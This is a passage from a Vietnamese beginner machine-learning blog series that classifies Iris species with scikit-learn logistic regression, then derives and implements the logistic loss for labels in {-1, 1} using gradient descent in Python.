<li>Cả hai mô hình đều có điểm <span class="math">\(R^2\)</span> kha khá. Điều này cho thấy cả hai mô hình đều đem lại giá trị phỏng đoán tương đối gần với giá trị thực.</li>
<li>Mô hình thứ hai, vì có thêm thông tin có ảnh hưởng trực tiếp đến giá nhà, đem lại giá trị phỏng đoán tốt hơn mô hình đầu tiên.</li>
</ol>
<p>Điều quan trọng nhất mà chúng ta cần ghi nhớ là <em>không có một mô hình đúng</em>. Việc tạo lập mô hình là một quá trình thử, và thử lại, rất dài, rất lâu, đòi hỏi nhiều kinh nghiệm, sự sáng tạo tinh tế, và một chút may mắn.</p>
</div>
</div>
<div class="section" id="phan-loai-3-loai-hoa-iris">
<h2>Phân loại 3 loài hoa Iris</h2>
<p><a class="reference external" href="/static/machine-learning/iris.csv">Tập dữ liệu Iris</a> bao gồm 4 biến độc lập là chiều dài và độ rộng lá đài, chiều dài và độ rộng cánh hoa, và 1 biến phụ thuộc là loài hoa (giá trị nguyên từ 0 đến 2). Tập dữ liệu này có 150 dòng, mỗi loài có 50 dòng.</p>
<p>Mục tiêu của ví dụ này là phân loại (classify) cho nên chúng ta sẽ áp dụng hồi quy hậu cần. Hơn thế nữa, chúng ta sẽ phải phân loại hai lần vì hồi quy hậu cần chỉ là một phương pháp phân loại nhị phân (binary classification). Trước tiên ta sẽ phân loại loài 0 với loài 1 và 2, sau đó chúng ta sẽ phân loại loài 1 và loài 2.</p>
<div class="section" id="phan-loai-loai-0-voi-loai-1-va-loai-2">
<h3>Phân loại loài 0 với loài 1 và loài 2</h3>
<div class="highlight"><pre><span></span><span class="c1"># encoding: utf-8</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
<span class="kn">from</span> <span class="nn">sklearn</span> <span class="kn">import</span> <span class="n">datasets</span><span class="p">,</span> <span class="n">linear_model</span><span class="p">,</span> <span class="n">model_selection</span>
<span class="c1"># Nạp bộ dữ liệu Iris.</span>
<span class="n">xs</span><span class="p">,</span> <span class="n">ys</span> <span class="o">=</span> <span class="n">datasets</span><span class="o">.</span><span class="n">load_iris</span><span class="p">(</span><span class="n">return_X_y</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="c1"># Chép ys...</span>
<span class="n">ys_zeros</span> <span class="o">=</span> <span class="n">np</span><span class="o">.</span><span class="n">copy</span><span class="p">(</span><span class="n">ys</span><span class="p">)</span>
<span class="c1"># ... và đặt loài 1 và loài 2 vào chung nhóm.</span>
<span class="n">ys_zeros</span><span class="p">[</span><span class="mi">50</span><span class="p">:]</span> <span class="o">=</span> <span class="mi">1</span>
<span class="c1"># Chia bộ dữ liệu làm hai phần để dạy và kiểm tra.</span>
<span class="n">xs_train</span><span class="p">,</span> <span class="n">xs_test</span><span class="p">,</span> <span class="n">ys_train</span><span class="p">,</span> <span class="n">ys_test</span> <span class="o">=</span> <span class="n">model_selection</span><span class="o">.</span><span class="n">train_test_split</span><span class="p">(</span>
<span class="n">xs</span><span class="p">,</span> <span class="n">ys_zeros</span><span class="p">,</span> <span class="n">test_size</span><span class="o">=</span><span class="mf">0.2</span><span class="p">,</span> <span class="n">random_state</span><span class="o">=</span><span class="mi">42</span><span class="p">)</span>
<span class="c1"># Tạo một mô hình hồi quy hậu cần.</span>
<span class="n">zero_model</span> <span class="o">=</span> <span class="n">linear_model</span><span class="o">.</span><span class="n">LogisticRegression</span><span class="p">()</span>
<span class="c1"># Dạy mô hình này phân loại loài 0 với loài 1 và 2.</span>
<span class="n">zero_model</span><span class="o">.</span><span class="n">fit</span><span class="p">(</span><span class="n">xs_train</span><span class="p">,</span> <span class="n">ys_train</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Accuracy: </span><span class="si">{}</span><span class="s1">'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">zero_model</span><span class="o">.</span><span class="n">score</span><span class="p">(</span><span class="n">xs_test</span><span class="p">,</span> <span class="n">ys_test</span><span class="p">)))</span>
<span class="c1"># In ra 10 phân loại đầu tiên.</span>
<span class="n">predicted</span> <span class="o">=</span> <span class="n">zero_model</span><span class="o">.</span><span class="n">predict</span><span class="p">(</span><span class="n">xs_test</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">p</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">predicted</span><span class="p">[:</span><span class="mi">10</span><span class="p">]):</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Real </span><span class="si">{}</span><span class="s1">, predicted </span><span class="si">{}</span><span class="s1">'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">ys_test</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">p</span><span class="p">))</span>
</pre></div>
<p>Khi thực thi đoạn mã này, chúng ta nhận được kết quả:</p>
<pre class="literal-block">
Accuracy: 1.0
Real 1, predicted 1
Real 0, predicted 0
Real 1, predicted 1
Real 1, predicted 1
Real 1, predicted 1
Real 0, predicted 0
Real 1, predicted 1
Real 1, predicted 1
Real 1, predicted 1
Real 1, predicted 1
</pre>
<p>Độ chính xác có giá trị tốt nhất là <span class="math">\(1.0\)</span>.</p>
<p>Nhìn qua kết quả (giá trị 0 là loài 0, giá trị 1 là loài 1 và loài 2), ta thấy rằng mô hình của chúng ta hoàn toàn có thể phân loại loài 0 trong ba loài hoa!</p>
</div>
<div class="section" id="phan-loai-loai-1-voi-loai-2">
<h3>Phân loại loài 1 với loài 2</h3>
<div class="highlight"><pre><span></span><span class="c1"># encoding: utf-8</span>
<span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="nn">np</span>
<span class="kn">from</span> <span class="nn">sklearn</span> <span class="kn">import</span> <span class="n">datasets</span><span class="p">,</span> <span class="n">linear_model</span><span class="p">,</span> <span class="n">model_selection</span>
<span class="c1"># Nạp bộ dữ liệu Iris.</span>
<span class="n">xs</span><span class="p">,</span> <span class="n">ys</span> <span class="o">=</span> <span class="n">datasets</span><span class="o">.</span><span class="n">load_iris</span><span class="p">(</span><span class="n">return_X_y</span><span class="o">=</span><span class="kc">True</span><span class="p">)</span>
<span class="c1"># Chép loại 1 và 2.</span>
<span class="n">xs_one_two</span> <span class="o">=</span> <span class="n">xs</span><span class="p">[</span><span class="mi">50</span><span class="p">:,</span> <span class="p">:]</span>
<span class="n">ys_one_two</span> <span class="o">=</span> <span class="n">ys</span><span class="p">[</span><span class="mi">50</span><span class="p">:]</span>
<span class="c1"># Phân ra làm bộ dạy và bộ kiểm tra.</span>
<span class="n">xs_train</span><span class="p">,</span> <span class="n">xs_test</span><span class="p">,</span> <span class="n">ys_train</span><span class="p">,</span> <span class="n">ys_test</span> <span class="o">=</span> <span class="n">model_selection</span><span class="o">.</span><span class="n">train_test_split</span><span class="p">(</span>
<span class="n">xs_one_two</span><span class="p">,</span> <span class="n">ys_one_two</span><span class="p">,</span> <span class="n">test_size</span><span class="o">=</span><span class="mf">0.2</span><span class="p">,</span> <span class="n">random_state</span><span class="o">=</span><span class="mi">42</span><span class="p">)</span>
<span class="c1"># Tạo mô hình hậu cần thứ hai.</span>
<span class="n">one_two_model</span> <span class="o">=</span> <span class="n">linear_model</span><span class="o">.</span><span class="n">LogisticRegression</span><span class="p">()</span>
<span class="c1"># Dạy mô hình này phân biệt loài 1 và loài 2.</span>
<span class="n">one_two_model</span><span class="o">.</span><span class="n">fit</span><span class="p">(</span><span class="n">xs_train</span><span class="p">,</span> <span class="n">ys_train</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Accuracy: </span><span class="si">{}</span><span class="s1">'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">one_two_model</span><span class="o">.</span><span class="n">score</span><span class="p">(</span><span class="n">xs_test</span><span class="p">,</span> <span class="n">ys_test</span><span class="p">)))</span>
<span class="c1"># In ra 10 phân loại đầu tiên.</span>
<span class="n">predicted</span> <span class="o">=</span> <span class="n">one_two_model</span><span class="o">.</span><span class="n">predict</span><span class="p">(</span><span class="n">xs_test</span><span class="p">)</span>
<span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">p</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">predicted</span><span class="p">[:</span><span class="mi">10</span><span class="p">]):</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Real </span><span class="si">{}</span><span class="s1">, predicted </span><span class="si">{}</span><span class="s1">'</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">ys_test</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="n">p</span><span class="p">))</span>
</pre></div>
<p>Kết quả thực thi sẽ là:</p>
<pre class="literal-block">
Accuracy: 0.85
Real 2, predicted 2
Real 2, predicted 2
Real 2, predicted 2
Real 1, predicted 1
Real 1, predicted 1
Real 1, predicted 1
Real 1, predicted 2 <--- kết quả phân loại khác với giá trị thực
Real 2, predicted 2
Real 1, predicted 1
Real 1, predicted 1
</pre>
<p>Dựa vào kết quả được in ra, ta thấy rằng mô hình này vẫn có độ chính xác cao, với giá trị <span class="math">\(0.85\)</span>, nhưng không tuyệt đối. Độ chính xác này nói rằng mô hình máy học mà chúng ta đã xây dựng có thể phân loại loài 1 và loài 2 đúng 85%.</p>
</div>
<div class="section" id="id1">
<h3>Nhận xét</h3>
<p>Chúng ta thấy rằng có một số dữ liệu có thể được phân loại hoàn toàn chính xác với mô hình hồi quy hậu cần, và cũng có những dữ liệu mà ta không thể tách biệt một cách dễ dàng được.</p>
</div>
</div>
<div class="section" id="tom-tat">
<h2>Tóm tắt</h2>
<p>Bài viết này giới thiệu với các bạn hai bộ dữ liệu phổ biến là bộ dữ liệu giá nhà ở Boston, và bộ dữ liệu hoa Iris. Từ đó, chúng ta đưa ra một số mô hình máy học để phỏng đoán giá trị nhà dựa trên hồi quy tuyến tính, hoặc phân loại loài hoa dựa trên hồi quy hậu cần. Để kiểm tra tính đúng đắn, bài viết cũng giới thiệu sơ qua về kỹ thuật phân bộ dữ liệu ra làm hai phần để dạy và để kiểm tra lại.</p>
<p>Một điểm khác mà tác giả hy vọng bạn đọc nhận ra qua các ví dụ này là việc áp dụng máy học thật ra rất đơn giản. Hai dòng lệnh chủ đạo trong các ví dụ trên bao gồm 1) tạo mô hình, và 2) khớp mô hình với dữ liệu đã chuẩn bị. Ngay sau hai dòng lệnh đó là ta đã có thể phỏng đoán giá nhà, hoặc phân loại loài hoa rồi!</p>
</div>
<div class="section" id="tai-lieu-doc-them">
<h2>Tài liệu đọc thêm</h2>
<ol class="arabic simple">
<li>Bộ thư viện scikit-learn tại <a class="reference external" href="http://scikit-learn.org/">http://scikit-learn.org/</a>.</li>
<li>Trang <a class="reference external" href="https://www.math.umd.edu/~petersd/666/html/iris_pca.html">Example for Principal Component Analysis (PCA): Iris data</a> trong môn AMSC/CMSC 666 Numerical Analysis I do Tobias von Petersdorff dạy ở đại học Maryland, Hoa Kỳ.</li>
</ol>
</div>
<script type='text/javascript'>if (!document.getElementById('mathjaxscript_pelican_#%@#$@#')) {
var align = "center",
indent = "0em",
linebreak = "false";
if (false) {
align = (screen.width < 768) ? "left" : align;
indent = (screen.width < 768) ? "0em" : indent;
linebreak = (screen.width < 768) ? 'true' : linebreak;
}
var mathjaxscript = document.createElement('script');
mathjaxscript.id = 'mathjaxscript_pelican_#%@#$@#';
mathjaxscript.type = 'text/javascript';
mathjaxscript.src = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.3/latest.js?config=TeX-AMS-MML_HTMLorMML';
mathjaxscript[(window.opera ? "innerHTML" : "text")] =
"MathJax.Hub.Config({" +
" config: ['MMLorHTML.js']," +
" TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'AMS' } }," +
" jax: ['input/TeX','input/MathML','output/HTML-CSS']," +
" extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js']," +
" displayAlign: '"+ align +"'," +
" displayIndent: '"+ indent +"'," +
" showMathMenu: true," +
" messageStyle: 'normal'," +
" tex2jax: { " +
" inlineMath: [ ['\\\\(','\\\\)'] ], " +
" displayMath: [ ['$$','$$'] ]," +
" processEscapes: true," +
" preview: 'TeX'," +
" }, " +
" 'HTML-CSS': { " +
" styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: 'inherit ! important'} }," +
" linebreaks: { automatic: "+ linebreak +", width: '90% container' }," +
" }, " +
"}); " +
"if ('default' !== 'default') {" +
"MathJax.Hub.Register.StartupHook('HTML-CSS Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax['HTML-CSS'].FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"MathJax.Hub.Register.StartupHook('SVG Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax.SVG.FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"}";
(document.body || document.getElementsByTagName('head')[0]).appendChild(mathjaxscript);
}
</script>Máy học phổ thông (5)2018-06-03T00:00:00+07:002018-06-03T00:00:00+07:00Nguyễn Thành Namtag:None,2018-06-03:2018/06/may-hoc-pho-thong-5.html<p>Trong hai phần trước, chúng ta giả định rằng giá trị thực <span class="math">\(y \in \{ 0, 1 \}\)</span>. Bài viết này sẽ tìm hiểu sự thay đổi của hàm mất mát nếu giá trị thực nằm trong tập hợp <span class="math">\(\{ -1, 1 \}\)</span>.</p>
<table border="1" class="docutils">
<colgroup>
<col width="11%" />
<col width="31%" />
<col width="31%" />
<col width="26%" />
</colgroup>
<thead valign="bottom">
<tr><th class="head">Dòng</th>
<th class="head"><span class="math">\(x_1\)</span></th>
<th class="head"><span class="math">\(x_2\)</span></th>
<th class="head"><span class="math">\(y\)</span></th>
</tr>
</thead>
<tbody valign="top">
<tr><td>0</td>
<td>0</td>
<td>0</td>
<td>-1</td>
</tr>
<tr><td>1</td>
<td>0</td>
<td>1 …</td></tr></tbody></table><p>Trong hai phần trước, chúng ta giả định rằng giá trị thực <span class="math">\(y \in \{ 0, 1 \}\)</span>. Bài viết này sẽ tìm hiểu sự thay đổi của hàm mất mát nếu giá trị thực nằm trong tập hợp <span class="math">\(\{ -1, 1 \}\)</span>.</p>
<table border="1" class="docutils">
<colgroup>
<col width="11%" />
<col width="31%" />
<col width="31%" />
<col width="26%" />
</colgroup>
<thead valign="bottom">
<tr><th class="head">Dòng</th>
<th class="head"><span class="math">\(x_1\)</span></th>
<th class="head"><span class="math">\(x_2\)</span></th>
<th class="head"><span class="math">\(y\)</span></th>
</tr>
</thead>
<tbody valign="top">
<tr><td>0</td>
<td>0</td>
<td>0</td>
<td>-1</td>
</tr>
<tr><td>1</td>
<td>0</td>
<td>1</td>
<td>-1</td>
</tr>
<tr><td>2</td>
<td>1</td>
<td>0</td>
<td>-1</td>
</tr>
<tr><td>3</td>
<td>1</td>
<td>1</td>
<td>1</td>
</tr>
</tbody>
</table>
<div class="section" id="ham-mat-mat-voi-y-in-1-1">
<h2>Hàm mất mát với <span class="math">\(y \in \{ -1, 1 \}\)</span></h2>
<div class="section" id="cac-gia-dinh-xac-suat">
<h3>Các giả định xác suất</h3>
<p>Tương tự như trong <a class="reference external" href="2018/05/may-hoc-pho-thong-4.html">bài trước</a>, chúng ta vẫn giả sử với cùng ý nghĩa xác suất như sau:</p>
<div class="math">
\begin{align*}
\hat{y}_\vec{\theta}(\vec{x}) &= S(\vec{\theta} \cdot \vec{x}) \\
P_\vec{\theta}(y=1 \mid \vec{x}) &= \hat{y}_\vec{\theta}(\vec{x})
\end{align*}
</div>
<p>Tuy nhiên, có một thay đổi nhỏ ở giả định thứ ba:</p>
<div class="math">
\begin{align*}
P_\vec{\theta}(y=-1 \mid \vec{x}) &= 1 - P_\vec{\theta}(y=1 \mid \vec{x}) \\
&= 1 - \hat{y}_\vec{\theta}(\vec{x}) \\
&= \hat{y}_\vec{\theta}(-\vec{x})
\end{align*}
</div>
<p>Lưu ý rằng <span class="math">\(\hat{y}\)</span> không còn mang ý nghĩa là giá trị phỏng đoán nữa! Trong trường hợp này, <span class="math">\(\hat{y}\)</span> là xác suất của giá trị thực có giá trị là <span class="math">\(1\)</span>. Nói cách khác, nếu <span class="math">\(\hat{y} > 0.5\)</span>, giá trị phỏng đoán sẽ là <span class="math">\(1\)</span>, còn nếu không thì giá trị phỏng đoán sẽ là <span class="math">\(-1\)</span>.</p>
</div>
<div class="section" id="thiet-lap-ham-mat-mat">
<h3>Thiết lập hàm mất mát</h3>
<p>Từ các giả sử trên, chúng ta có xác suất của biến phụ thuộc trùng với giá trị thực là:</p>
<div class="math">
\begin{equation*}
P_\vec{\theta} \left( y = y^{(i)} \mid \vec{x^{(i)}} \right) = \begin{cases}
\hat{y}_\vec{\theta}\left( \vec{x^{(i)}} \right) & \mbox{khi } y^{(i)} = 1 \\
\hat{y}_\vec{\theta}\left( \vec{-x^{(i)}} \right) & \mbox{khi } y^{(i)} = -1 \\
\end{cases}
\end{equation*}
</div>
<p>Hai trường hợp này có thể được gộp lại làm một như sau:</p>
<div class="math">
\begin{align*}
P_\vec{\theta} \left( y = y^{(i)} \mid \vec{x^{(i)}} \right)
&= \hat{y}_\vec{\theta}\left( y^{(i)} \times \vec{x^{(i)}} \right) \\
&= S \left( \vec{\theta} \cdot y^{(i)} \times \vec{x^{(i)}} \right)
\end{align*}
</div>
<p>Như vậy, hàm hợp lý của mô hình sẽ là:</p>
<div class="math">
\begin{align*}
\mathcal{P}_\vec{\theta} &= \prod_{i=0}^{3} P_\vec{\theta} \left( y = y^{(i)} \mid \vec{x^{(i)}} \right) \\
&= \prod_{i=0}^{3} S \left( y^{(i)}\vec{\theta}\cdot\vec{x^{(i)}} \right)
\end{align*}
</div>
<p>Nếu lấy <span class="math">\(\log\)</span> của hai vế, ta có:</p>
<div class="math">
\begin{align*}
\log\mathcal{P}_\vec{\theta} &= \sum_{i=0}^{3}\log S \left( y^{(i)}\vec{\theta}\cdot\vec{x^{(i)}} \right) \\
&= \sum_{i=0}^{3} \left( \cfrac{1}{1 + e^{-y^{(i)}\vec{\theta}\cdot\vec{x^{(i)}}}} \right) \\
&= \sum_{i=0}^{3}\log \left[ \left( 1 + e^{-y^{(i)}\vec{\theta}\cdot\vec{x^{(i)}}} \right)^{-1} \right] \\
&= \sum_{i=0}^{3}-\log \left( 1 + e^{-y^{(i)}\vec{\theta}\cdot\vec{x^{(i)}}} \right) \\
&= - \sum_{i=0}^{3}\log \left( 1 + e^{-y^{(i)}\vec{\theta}\cdot\vec{x^{(i)}}} \right)
\end{align*}
</div>
<p>Lập luận tương tự như trong <a class="reference external" href="2018/05/may-hoc-pho-thong-4.html">phần trước</a>, và nhớ rằng giá trị của hàm xích-ma chuẩn bị chặn trong khoảng <span class="math">\((0, 1)\)</span>, ta có <span class="math">\(\log\mathcal{P}_\vec{\theta}\)</span> là một hàm lõm, và <span class="math">\(-\log\mathcal{P}_\vec{\theta}\)</span> là một hàm lồi. Hàm lồi này chính là hàm mất mát chúng ta cần tìm giá trị cực tiểu.</p>
<div class="math">
\begin{equation*}
\mathcal{L}_\vec{\theta} = -\log \mathcal{P}_\vec{\theta} = \sum_{i=0}^{3}\log \left( 1 + e^{-y^{(i)}\vec{\theta}\cdot\vec{x^{(i)}}} \right)
\end{equation*}
</div>
<p>Dốc của hàm mất mát:</p>
<div class="math">
\begin{align*}
\nabla \mathcal{L}_\vec{\theta} &= \cfrac{\partial \mathcal{L}_\vec{\theta}}{\partial \vec{\theta}} \\
&= \sum_{i=0}^3\cfrac{1}{1 + e^{-y^{(i)}\vec{\theta}\cdot\vec{x^{(i)}}}}\cfrac{\partial}{\partial \vec{\theta}} \left( 1+ e^{-y^{(i)}\vec{\theta}\cdot\vec{x^{(i)}}}\right) \\
&= \sum_{i=0}^3\cfrac{e^{-y^{(i)}\vec{\theta}\cdot\vec{x^{(i)}}}}{1 + e^{-y^{(i)}\vec{\theta}\cdot\vec{x^{(i)}}}}\cfrac{\partial}{\partial \vec{\theta}}\left( -y^{(i)}\vec{\theta}\cdot\vec{x^{(i)}} \right) \\
&= -\sum_{i=0}^3\cfrac{e^{-y^{(i)}\vec{\theta}\cdot\vec{x^{(i)}}}}{1 + e^{-y^{(i)}\vec{\theta}\cdot\vec{x^{(i)}}}}y^{(i)}\vec{x^{(i)}} \\
&= -\sum_{i=0}^3 S \left( -y^{(i)}\vec{x^{(i)}}\cdot\vec{\theta} \right) y^{(i)}\vec{x^{(i)}}
\end{align*}
</div>
</div>
</div>
<div class="section" id="cai-dat">
<h2>Cài đặt</h2>
<div class="highlight"><pre><span></span><span class="c1"># encoding: utf-8</span>
<span class="kn">import</span> <span class="nn">math</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="k">def</span> <span class="nf">sigmoid</span><span class="p">(</span><span class="n">x</span><span class="p">):</span>
<span class="k">return</span> <span class="mf">1.0</span> <span class="o">/</span> <span class="p">(</span><span class="mf">1.0</span> <span class="o">+</span> <span class="n">math</span><span class="o">.</span><span class="n">exp</span><span class="p">(</span><span class="o">-</span><span class="n">x</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">dot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">theta</span><span class="p">):</span>
<span class="k">return</span> <span class="nb">sum</span><span class="p">(</span><span class="n">x_i</span> <span class="o">*</span> <span class="n">theta_i</span> <span class="k">for</span> <span class="n">x_i</span><span class="p">,</span> <span class="n">theta_i</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">theta</span><span class="p">))</span>
<span class="k">def</span> <span class="nf">f_prime</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">):</span>
<span class="k">return</span> <span class="p">[</span><span class="o">-</span><span class="p">(</span><span class="n">sigmoid</span><span class="p">(</span><span class="o">-</span><span class="n">y</span> <span class="o">*</span> <span class="n">dot</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">theta</span><span class="p">)))</span> <span class="o">*</span> <span class="n">x_i</span> <span class="o">*</span> <span class="n">y</span> <span class="k">for</span> <span class="n">x_i</span> <span class="ow">in</span> <span class="n">x</span><span class="p">]</span>
<span class="k">def</span> <span class="nf">loss</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">xs</span><span class="p">,</span> <span class="n">ys</span><span class="p">):</span>
<span class="n">s</span> <span class="o">=</span> <span class="mf">0.0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">ys</span><span class="p">)):</span>
<span class="n">x</span> <span class="o">=</span> <span class="n">xs</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="n">y</span> <span class="o">=</span> <span class="n">ys</span><span class="p">[</span><span class="n">i</span><span class="p">]</span>
<span class="n">s</span> <span class="o">+=</span> <span class="n">math</span><span class="o">.</span><span class="n">log</span><span class="p">(</span><span class="mi">1</span> <span class="o">+</span> <span class="n">math</span><span class="o">.</span><span class="n">exp</span><span class="p">(</span><span class="o">-</span><span class="n">y</span> <span class="o">*</span> <span class="n">dot</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">x</span><span class="p">)))</span>
<span class="k">return</span> <span class="n">s</span>
<span class="c1"># Bảng đầu vào.</span>
<span class="n">xs</span> <span class="o">=</span> <span class="p">(</span>
<span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span>
<span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span>
<span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span>
<span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span>
<span class="p">)</span>
<span class="n">ys</span> <span class="o">=</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
<span class="c1"># Khởi tạo theta ngẫu nhiên.</span>
<span class="n">theta</span> <span class="o">=</span> <span class="p">[</span><span class="n">random</span><span class="o">.</span><span class="n">random</span><span class="p">()</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">-</span> <span class="mi">1</span> <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">xs</span><span class="p">[</span><span class="mi">0</span><span class="p">]))]</span>
<span class="c1"># Định tốc độ học.</span>
<span class="n">alpha</span> <span class="o">=</span> <span class="mf">0.5</span>
<span class="c1"># Lặp xuống dốc.</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10000</span><span class="p">):</span>
<span class="c1"># Đạo hàm riêng đối với mỗi dòng đầu vào.</span>
<span class="n">grad</span> <span class="o">=</span> <span class="p">[</span><span class="n">f_prime</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span><span class="p">,</span> <span class="n">y</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">xs</span><span class="p">,</span> <span class="n">ys</span><span class="p">)]</span>
<span class="c1"># Lấy tổng các đạo hàm riêng lại với nhau.</span>
<span class="n">grad</span> <span class="o">=</span> <span class="p">[</span><span class="nb">sum</span><span class="p">(</span><span class="n">g</span><span class="p">[</span><span class="n">c</span><span class="p">]</span> <span class="k">for</span> <span class="n">g</span> <span class="ow">in</span> <span class="n">grad</span><span class="p">)</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">xs</span><span class="p">[</span><span class="mi">0</span><span class="p">]))]</span>
<span class="c1"># Cập nhật theta.</span>
<span class="n">theta</span> <span class="o">=</span> <span class="p">[</span><span class="n">theta_i</span> <span class="o">-</span> <span class="n">alpha</span> <span class="o">*</span> <span class="n">grad_i</span> <span class="k">for</span> <span class="n">theta_i</span><span class="p">,</span> <span class="n">grad_i</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">grad</span><span class="p">)]</span>
<span class="c1"># In kết quả.</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Theta'</span><span class="p">,</span> <span class="n">theta</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s1">'Loss'</span><span class="p">,</span> <span class="n">loss</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">xs</span><span class="p">,</span> <span class="n">ys</span><span class="p">))</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">xs</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="n">x</span><span class="p">[</span><span class="mi">1</span><span class="p">:],</span> <span class="mi">1</span> <span class="k">if</span> <span class="n">sigmoid</span><span class="p">(</span><span class="n">dot</span><span class="p">(</span><span class="n">theta</span><span class="p">,</span> <span class="n">x</span><span class="p">))</span> <span class="o">></span> <span class="mf">0.5</span> <span class="k">else</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span>
</pre></div>
<p>Thực thi đoạn mã trên sẽ đem lại kết quả tương tự như trong bài viết trước:</p>
<pre class="literal-block">
('Theta', [-20.371450940891446, 13.468671765331806, 13.468671765331887])
('Loss', 0.0034155464217680244)
((0, 0), -1)
((0, 1), -1)
((1, 0), -1)
((1, 1), 1)
</pre>
</div>
<div class="section" id="mot-so-nhan-xet-mo-rong">
<h2>Một số nhận xét mở rộng</h2>
<div class="section" id="ham-mat-mat">
<h3>Hàm mất mát</h3>
<p>Qua ba bài viết về hồi quy hậu cần, chúng ta đã tham khảo ba hàm mất mát khác nhau. Phần đầu tiên sử dụng sai số giữa giá trị thực và giá trị phỏng đoán. Phần thứ hai sử dụng <strong>sai số en-trô-pi chéo</strong> (cross entropy error). Và bài viết kỳ này sử dụng một dạng tương thích khác. Điều quan trọng nhất là chúng ta cần chọn (hoặc tìm) hàm mất mát <em>phù hợp với hoàn cảnh sử dụng</em>.</p>
</div>
<div class="section" id="tim-cuc-dai-cua-ham-hop-ly">
<h3>Tìm cực đại của hàm hợp lý</h3>
